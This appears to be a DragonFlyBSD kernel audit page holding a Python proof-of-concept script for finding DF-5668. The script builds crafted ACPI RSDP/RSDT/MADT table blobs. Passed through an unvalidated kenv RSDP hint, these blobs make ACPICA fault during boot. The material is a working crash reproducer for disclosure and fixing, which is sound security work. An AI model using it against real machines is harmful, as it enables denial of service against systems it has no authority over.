⬢ DragonFlyBSD Kernel Audit
DF-5668 / gen_chain.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
gen_chain.py -- DF-5668 PoC builder: RSDP->RSDT->MADT chains for the second
unvalidated kenv RSDP consumer, AcpiOsGetRootPointer()
(sys/platform/pc64/acpica/OsdEnvironment.c:72).

The hint feeds ACPICA directly (AcpiInitializeTables -> AcpiTbParseRootTable,
tbxface.c:257 -> tbutils.c:376) with no validation on the kenv branch, while
the same function's own fallback path (AcpiFindRootPointer) is fully
validated (AcpiTbValidateRsdp, tbxfroot.c:211-243).

Scenarios:
  nosig_fadtless   INVALID RSDP signature (deadbeefdeadbeef) + WRONG v1
                   checksum, valid-checksummed RSDT->control MADT, no FADT.
                   -> proves zero validation: chain accepted, and ACPICA
                      faults at AcpiTbLoadNamespace+0x36 (tbxfload.c:279-282,
                      Tables[ACPI_INVALID_TABLE_INDEX=0xFFFFFFFF], because
                      only AcpiTbParseFadt ever sets AcpiGbl_DsdtIndex).
  valid_fadtless   FULLY valid "RSD PTR " + correct v1 checksum (rev 0),
                   correct RSDT/MADT checksums, no FADT.
                   -> a deliberately crafted fully-valid chain still crashes
                      stock ACPICA (upstream Tables[invalid] deref); shows
                      RSDP-level validation alone is necessary but not
                      sufficient -- contrib guard needed as well.

Blob layout (planted at 0x40000000, in-RAM on the 4 GB guest):
  +0x0000  RSDP (rev 0 -> RSDT path; RsdtPhysicalAddress = base+0x100)
  +0x0100  RSDT  (1 entry -> MADT at base+0x200)
  +0x0200  MADT  (BSP+2 APs, real KVM LAPIC 0xFEE00000 + IOAPIC 0xFEC00000)
Control MADT is the proven DF-5588 rig content: native sdt_probe consumes it
harmlessly (lapic_count=3), so boot reaches acpi0 attach where ACPICA's own
walk of the SAME hint faults.
"""
import struct
import sys

BASE = 0x40000000
RSDP_OFF, RSDT_OFF, MADT_OFF = 0x0, 0x100, 0x200

def sdth(sig, length, rev):
    h = bytearray(36)
    h[0:4] = sig
    struct.pack_into('<I', h, 4, length)
    h[8] = rev
    h[9] = 0                    # checksum patched by caller
    h[10:16] = b'DFBSD '
    h[17:21] = b'P568'          # OEM table id marker (4 bytes: DF-5668)
    struct.pack_into('<I', h, 21, 1)
    h[25:29] = b'IACT'
    struct.pack_into('<I', h, 29, 1)
    return h

def lapic(pid, apic_id, enabled=True):
    return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0)

def ioapic(apic_id, addr, gsi_base):
    return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base)

def csum(b):
    return (-sum(b)) & 0xFF

def build(scenario):
    # control MADT: BSP + 2 APs + real QEMU IOAPIC (DF-5588 proven content)
    entries = lapic(0, 0) + lapic(1, 1) + lapic(2, 2)
    entries += ioapic(0, 0xFEC00000, 0)

    madt_len = 44 + len(entries)
    madt = sdth(b'APIC', madt_len, 3) + bytearray(8)
    struct.pack_into('<I', madt, 36, 0xFEE00000)   # Local Apic Address
    struct.pack_into('<I', madt, 40, 1)            # PCAT_COMPAT flags
    madt += entries
    madt[9] = csum(madt)

    rsdt_len = 36 + 4
    rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4)
    struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF)
    rsdt[9] = csum(rsdt)

    # ---- the RSDP under test ------------------------------------------
    rsdp = bytearray(24)
    rsdp[9:15] = b'X5668 '   # 6 bytes, fits the 6-byte slice
    rsdp[15] = 0                # Revision 0 -> RSDT path
    struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF)
    struct.pack_into('<I', rsdp, 20, 20)

    if scenario == 'nosig_fadtless':
        rsdp[0:8] = b'\xde\xad\xbe\xef\xde\xad\xbe\xef'  # INVALID signature
        rsdp[8] = 0xAA                                    # WRONG checksum
    elif scenario == 'valid_fadtless':
        rsdp[0:8] = b'RSD PTR '                           # genuine signature
        rsdp[8] = csum(rsdp[0:20])                        # CORRECT v1 cks
    else:
        raise SystemExit('unknown scenario ' + scenario)

    blob = bytearray(0x300)
    blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp
    blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt
    blob[MADT_OFF:MADT_OFF + len(madt)] = madt
    return bytes(blob)

if __name__ == '__main__':
    scen, out = sys.argv[1], sys.argv[2]
    data = build(scen)
    with open(out, 'wb') as f:
        f.write(data)
    sys.stderr.write('%s: %d bytes -> %s\n' % (scen, len(data), out))